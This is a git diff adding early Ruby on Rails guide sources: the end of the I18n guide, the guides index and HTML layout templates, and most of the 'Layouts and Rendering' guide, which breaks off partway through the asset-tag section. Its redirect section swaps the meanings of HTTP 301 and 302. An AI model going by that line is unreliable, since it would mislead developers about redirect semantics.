and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". + +* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". + +*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +' '+). + +h5. Active Support Methods + +* +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. + + +h3. Customize your I18n Setup + +h4. Using Different Backends + +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. + +That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: + +<ruby> +I18n.backend = Globalize::Backend::Static.new +</ruby> + +h4. Using Different Exception Handlers + +The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: + +<ruby> +MissingTranslationData # no translation was found for the requested key +InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) +InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization +MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed +ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) +UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path +</ruby> + +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope. + +The reason for this is that during development you'd usually want your views to still render even though a translation is missing. + +In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module: + +<ruby> +module I18n + def just_raise_that_exception(*args) + raise args.first + end +end + +I18n.exception_handler = :just_raise_that_exception +</ruby> + +This would re-raise all caught exceptions including +MissingTranslationData+. + +Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+. + +To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option: + +<ruby> +I18n.t :foo, :raise => true # always re-raises exceptions from the backend +</ruby> + +h3. Conclusion + +At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. + +If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n. + + +h3. Contributing to Rails I18n + +I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core. + +Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!) + +If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests. + + +h3. Resources + +* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki. +* "rails-i18n Google group":http://groups.google.com/group/rails-i18n - The project's mailing list. +* "Github: rails-i18n":http://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases. +* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project. +* "Github: i18n":http://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem. +* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem. + + +h3. Authors + +* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author) +* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k + +If you found this guide useful please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com. + + +h3. Footnotes + +fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ + +fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. + +fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. + + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/23 diff --git a/railties/guides/source/index.erb.textile b/railties/guides/source/index.erb.textile new file mode 100644 index 0000000000..4c8dd65a04 --- /dev/null +++ b/railties/guides/source/index.erb.textile @@ -0,0 +1,124 @@ +<% content_for :header_section do %> +h2. Ruby on Rails guides + +These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation: + +* "Current Release version":http://guides.rubyonrails.org - based on Rails 2.3 +* "Edge version":http://guides.rails.info - based on the current Rails "master branch":http://github.com/rails/rails/tree/master + +<% end %> + +<% content_for :index_section do %> +<div id="subCol"> + <dl> + <dd class="warning">Rails Guides are a result of the ongoing "Guides hackfest":http://hackfest.rubyonrails.org and a work in progress.</dd> + <dd class="ticket">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</dd> + </dl> +</div> +<% end %> + +h3. Start Here + +<dl> +<% guide('Getting Started with Rails', 'getting_started.html') do %> + Everything you need to know to install Rails and create your first application. +<% end %> +</dl> + +h3. Models + +<dl> +<% guide("Rails Database Migrations", 'migrations.html') do %> + This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. +<% end %> + +<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html') do %> + This guide covers how you can use Active Record validations and callbacks. +<% end %> + +<% guide("Active Record Associations", 'association_basics.html') do %> + This guide covers all the associations provided by Active Record. +<% end %> + +<% guide("Active Record Query Interface", 'active_record_querying.html') do %> + This guide covers the database query interface provided by Active Record. +<% end %> +</dl> + +h3. Views + +<dl> +<% guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %> + This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. +<% end %> + +<% guide("Action View Form Helpers", 'form_helpers.html', :ticket => 1) do %> + Guide to using built in Form helpers. +<% end %> +</dl> + +h3. Controllers + +<dl> +<% guide("Action Controller Overview", 'action_controller_overview.html') do %> + This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. +<% end %> + +<% guide("Rails Routing from the Outside In", 'routing.html') do %> + This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here. +<% end %> +</dl> + +h3. Digging Deeper + +<dl> + +<% guide("Rails on Rack", 'rails_on_rack.html') do %> + This guide covers Rails integration with Rack and interfacing with other Rack components. +<% end %> + +<% guide("Rails Internationalization API", 'i18n.html') do %> + This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on. +<% end %> + +<% guide("Action Mailer Basics", 'action_mailer_basics.html', :ticket => 25) do %> + This guide describes how to use Action Mailer to send and receive emails. +<% end %> + +<% guide("Testing Rails Applications", 'testing.html', :ticket => 8) do %> + This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from “What is a test?” to the testing APIs. Enjoy. +<% end %> + +<% guide("Securing Rails Applications", 'security.html') do %> + This guide describes common security problems in web applications and how to avoid them with Rails. +<% end %> + +<% guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %> + This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code. +<% end %> + +<% guide("Performance Testing Rails Applications", 'performance_testing.html') do %> + This guide covers the various ways of performance testing a Ruby on Rails application. +<% end %> + +<% guide("The Basics of Creating Rails Plugins", 'plugins.html', :ticket => 32) do %> + This guide covers how to build a plugin to extend the functionality of Rails. +<% end %> + +<% guide("Configuring Rails Applications", 'configuring.html') do %> + This guide covers the basic configuration settings for a Rails application. +<% end %> + +<% guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :ticket => 29) do %> + This guide covers the command line tools and rake tasks provided by Rails. +<% end %> + +<% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %> + Various caching techniques provided by Rails. +<% end %> + +<% guide("Contributing to Rails", 'contributing_to_rails.html') do %> + Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails. +<% end %> + +</dl> diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb new file mode 100644 index 0000000000..eb66366d07 --- /dev/null +++ b/railties/guides/source/layout.html.erb @@ -0,0 +1,103 @@ +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> + +<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> + +<link rel="stylesheet" type="text/css" href="files/stylesheets/style.css" /> +<link rel="stylesheet" type="text/css" href="files/stylesheets/syntax.css" /> +<link rel="stylesheet" type="text/css" href="files/stylesheets/print.css" media="print" /> + +<script type="text/javascript" src="files/javascripts/guides.js"></script> +<script type="text/javascript" src="files/javascripts/code_highlighter.js"></script> +<script type="text/javascript" src="files/javascripts/highlighters.js"></script> + +</head> +<body class="guide"> + <div id="topNav"> + <div class="wrapper"> + <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong> + <a href="http://rubyonrails.org/">Overview</a> | + <a href="http://rubyonrails.org/download">Download</a> | + <a href="http://rubyonrails.org/deploy">Deploy</a> | + <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> | + <a href="http://rubyonrails.org/screencasts">Screencasts</a> | + <a href="http://rubyonrails.org/documentation">Documentation</a> | + <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> | + <a href="http://rubyonrails.org/community">Community</a> | + <a href="http://weblog.rubyonrails.org/">Blog</a> + </div> + </div> + <div id="header"> + <div class="wrapper clearfix"> + <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1> + <p class="hide"><a href="#mainCol">Skip navigation</a>.</p> + <ul class="nav"> + <li><a href="index.html">Home</a></li> + <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a> + <div id="guides" class="clearfix" style="display: none;"> + <hr /> + <dl class="L"> + <dt>Start Here</dt> + <dd><a href="getting_started.html">Getting Started with Rails</a></dd> + <dt>Models</dt> + <dd><a href="migrations.html">Rails Database Migrations</a></dd> + <dd><a href="activerecord_validations_callbacks.html">Active Record Validations and Callbacks</a></dd> + <dd><a href="association_basics.html">Active Record Associations</a></dd> + <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd> + <dt>Views</dt> + <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd> + <dd><a href="form_helpers.html">Action View Form Helpers</a></dd> + <dt>Controllers</dt> + <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd> + <dd><a href="routing.html">Rails Routing from the Outside In</a></dd> + </dl> + <dl class="R"> + <dt>Digging Deeper</dt> + <dd><a href="i18n.html">Rails Internationalization API</a></dd> + <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd> + <dd><a href="testing.html">Testing Rails Applications</a></dd> + <dd><a href="security.html">Securing Rails Applications</a></dd> + <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd> + <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd> + <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> + <dd><a href="configuring.html">Configuring Rails Applications</a></dd> + <dd><a href="rails_on_rack.html">Rails on Rack</a></dd> + <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> + <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd> + </dl> + </div> + </li> + <li><a href="contribute.html">Contribute</a></li> + <li><a href="credits.html">Credits</a></li> + </ul> + </div> + </div> + <hr class="hide" /> + + <div id="feature"> + <div class="wrapper"> + <%= yield :header_section %> + + <%= yield :index_section %> + </div> + </div> + + <div id="container"> + <div class="wrapper"> + <div id="mainCol"> + <%= yield %> + </div> + </div> + </div> + + <hr class="hide" /> + <div id="footer"> + <div class="wrapper"> + <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</a></p> + <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> + </div> + </div> +</body> +</html> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile new file mode 100644 index 0000000000..809d2b2172 --- /dev/null +++ b/railties/guides/source/layouts_and_rendering.textile @@ -0,0 +1,979 @@ +h2. Layouts and Rendering in Rails + +This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: + +* Use the various rendering methods built in to Rails +* Create layouts with multiple content sections +* Use partials to DRY up your views +* Use nested layouts (sub-templates) + +endprologue. + +h3. Overview: How the Pieces Fit Together + +This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. + +In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. + +h3. Creating Responses + +From the controller's point of view, there are three ways to create an HTTP response: + +* Call +render+ to create a full response to send back to the browser +* Call +redirect_to+ to send an HTTP redirect status code to the browser +* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser + +I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all. + +h4. Rendering by Default: Convention Over Configuration in Action + +You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class: + +<ruby> +def show + @book = Book.find(params[:id]) +end +</ruby> + +Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response. + +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. + +h4. Using +render+ + +In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. + +TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. + +h5. Rendering Nothing + +Perhaps the simplest thing you can do with +render+ is to render nothing at all: + +<ruby> +render :nothing => true +</ruby> + +This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below). + +TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. + +h5. Rendering an Action's View + +If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view: + +<ruby> +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render "edit" + end + end +end +</ruby> + +If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. + +If you prefer, you can use a symbol instead of a string to specify the action to render: + +<ruby> +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render :edit + end + end +end +</ruby> + +To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3): + +<ruby> +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render :action => "edit" + end + end +end +</ruby> + +WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+. + +h5. Rendering an Action's Template from Another Controller + +What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: + +<ruby> +render 'products/show' +</ruby> + +Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier): + +<ruby> +render :template => 'products/show' +</ruby> + +h5. Rendering an Arbitrary File + +The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): + +<ruby> +render "/u/apps/warehouse_app/current/app/views/products/show" +</ruby> + +Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier): + +<ruby> +render :file => + "/u/apps/warehouse_app/current/app/views/products/show" +</ruby> + +The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. + +NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option. + +TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames. + +h5. Using +render+ with +:inline+ + +The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid: + +<ruby> +render :inline => + "<% products.each do |p| %><p><%= p.name %><p><% end %>" +</ruby> + +WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. + +By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option: + +<ruby> +render :inline => + "xml.p {'Horrid coding practice!'}", :type => :builder +</ruby> + +h5. Using +render+ with +:update+ + +You can also render javascript-based page updates inline using the +:update+ option to +render+: + +<ruby> +render :update do |page| + page.replace_html 'warning', "Invalid options supplied" +end +</ruby> + +WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update. + +h5. Rendering Text + +You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+: + +<ruby> +render :text => "OK" +</ruby> + +TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML. + +NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option + +h5. Rendering JSON + +JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: + +<ruby> +render :json => @product +</ruby> + +TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you. + +h5. Rendering XML + +Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: + +<ruby> +render :xml => @product +</ruby> + +TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you. + +h5. Rendering Vanilla JavaScript + +Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file): + +<ruby> +render :js => "alert('Hello Rails');" +</ruby> + +This will send the supplied string to the browser with a MIME type of +text/javascript+. + +h5. Options for +render+ + +Calls to the +render+ method generally accept four options: + +* +:content_type+ +* +:layout+ +* +:status+ +* +:location+ + +h6. The +:content_type+ Option + +By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option: + +<ruby> +render :file => filename, :content_type => 'application/rss' +</ruby> + +h6. The +:layout+ Option + +With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. + +You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action: + +<ruby> +render :layout => 'special_layout' +</ruby> + +You can also tell Rails to render with no layout at all: + +<ruby> +render :layout => false +</ruby> + +h6. The +:status+ Option + +Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this: + +<ruby> +render :status => 500 +render :status => :forbidden +</ruby> + +Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes. + +h6. The +:location+ Option + +You can use the +:location+ option to set the HTTP +Location+ header: + +<ruby> +render :xml => photo, :location => photo_url(photo) +</ruby> + +h5. Finding Layouts + +To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. + +h6. Specifying Layouts on a per-Controller Basis + +You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: + +<ruby> +class ProductsController < ApplicationController + layout "inventory" + #... +end +</ruby> + +With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. + +To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: + +<ruby> +class ApplicationController < ActionController::Base + layout "main" + #... +end +</ruby> + +With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. + +h6. Choosing Layouts at Runtime + +You can use a symbol to defer the choice of layout until a request is processed: + +<ruby> +class ProductsController < ApplicationController + layout :products_layout + + def show + @product = Product.find(params[:id]) + end + + private + def products_layout + @current_user.special? ? "special" : "products" + end + +end +</ruby> + +Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: + +<ruby> +class ProductsController < ApplicationController + layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' } + # ... +end +</ruby> + +h6. Conditional Layouts + +Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names: + +<ruby> +class ProductsController < ApplicationController + layout "product", :except => [:index, :rss] + #... +end +</ruby> + +With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods. + +h6. Layout Inheritance + +Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: + +* +application_controller.rb+ + +<ruby> +class ApplicationController < ActionController::Base + layout "main" + #... +end +</ruby> + +* +posts_controller.rb+ + +<ruby> +class PostsController < ApplicationController + # ... +end +</ruby> + +* +special_posts_controller.rb+ + +<ruby> +class SpecialPostsController < PostsController + layout "special" + # ... +end +</ruby> + +* +old_posts_controller.rb+ + +<ruby> +class OldPostsController < SpecialPostsController + layout nil + + def show + @post = Post.find(params[:id]) + end + + def index + @old_posts = Post.older + render :layout => "old" + end + # ... +end +</ruby> + +In this application: + +* In general, views will be rendered in the +main+ layout +* +PostsController#index+ will use the +main+ layout +* +SpecialPostsController#index+ will use the +special+ layout +* +OldPostsController#show+ will use no layout at all +* +OldPostsController#index+ will use the +old+ layout + +h5. Avoiding Double Render Errors + +Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works. + +For example, here's some code that will trigger this error: + +<ruby> +def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" + end + render :action => "regular_show" +end +</ruby> + +If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method: + +<ruby> +def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" and return + end + render :action => "regular_show" +end +</ruby> + +Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems: + +<ruby> + def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" + end + end +</ruby> + +This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template. + +h4. Using +redirect_to+ + +Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: + +<ruby> +redirect_to photos_path +</ruby> + +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: + +<ruby> +redirect_to :back +</ruby> + +h5. Getting a Different Redirect Status Code + +Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option: + +<ruby> +redirect_to photos_path, :status => 301 +</ruby> + +Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations. + +h5. The Difference Between +render+ and +redirect_to+ + +Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. + +Consider these actions to see the difference: + +<ruby> +def index + @books = Book.find(:all) +end + +def show + @book = Book.find(params[:id]) + if @book.nil? + render :action => "index" + end +end +</ruby> + +With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: + +<ruby> +def index + @books = Book.find(:all) +end + +def show + @book = Book.find(params[:id]) + if @book.nil? + redirect_to :action => "index" + end +end +</ruby> + +With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. + +h4. Using +head+ To Build Header-Only Responses + +The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header: + +<ruby> +head :bad_request +</ruby> + +Or you can use other HTTP headers to convey additional information: + +<ruby> +head :created, :location => photo_path(@photo) +</ruby> + +h3. Structuring Layouts + +When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: + +* Asset tags +* +yield+ and +content_for+ +* Partials + +I'll discuss each of these in turn. + +h4. Asset Tags + +Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag: + +* auto_discovery_link_tag +* javascript_include_tag +* stylesheet_link_tag +* image_tag + +You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. + +WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. + +h5. Linking to Feeds with +auto_discovery_link_tag+ + +The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: + +<erb> +<%= auto_discovery_link_tag(:rss, {:action => "feed"}, + {:title => "RSS Feed"}) %> +</erb> + +There are three tag options available for +auto_discovery_link_tag+: + +* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically +* +:title+ specifies the title of the link + +h5. Linking to Javascript Files with +javascript_include_tag+ + +The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: + +<erb> +<%= javascript_include_tag "main" %> +</erb> + +To include +public/javascripts/main.js+ and +public/javascripts/columns.js+: + +<erb> +<%= javascript_include_tag "main", "columns" %> +</erb> + +To include +public/javascripts/main.js+ and +public/photos/columns.js+: + +<erb> +<%= javascript_include_tag "main", "/photos/columns" %> +</erb> + 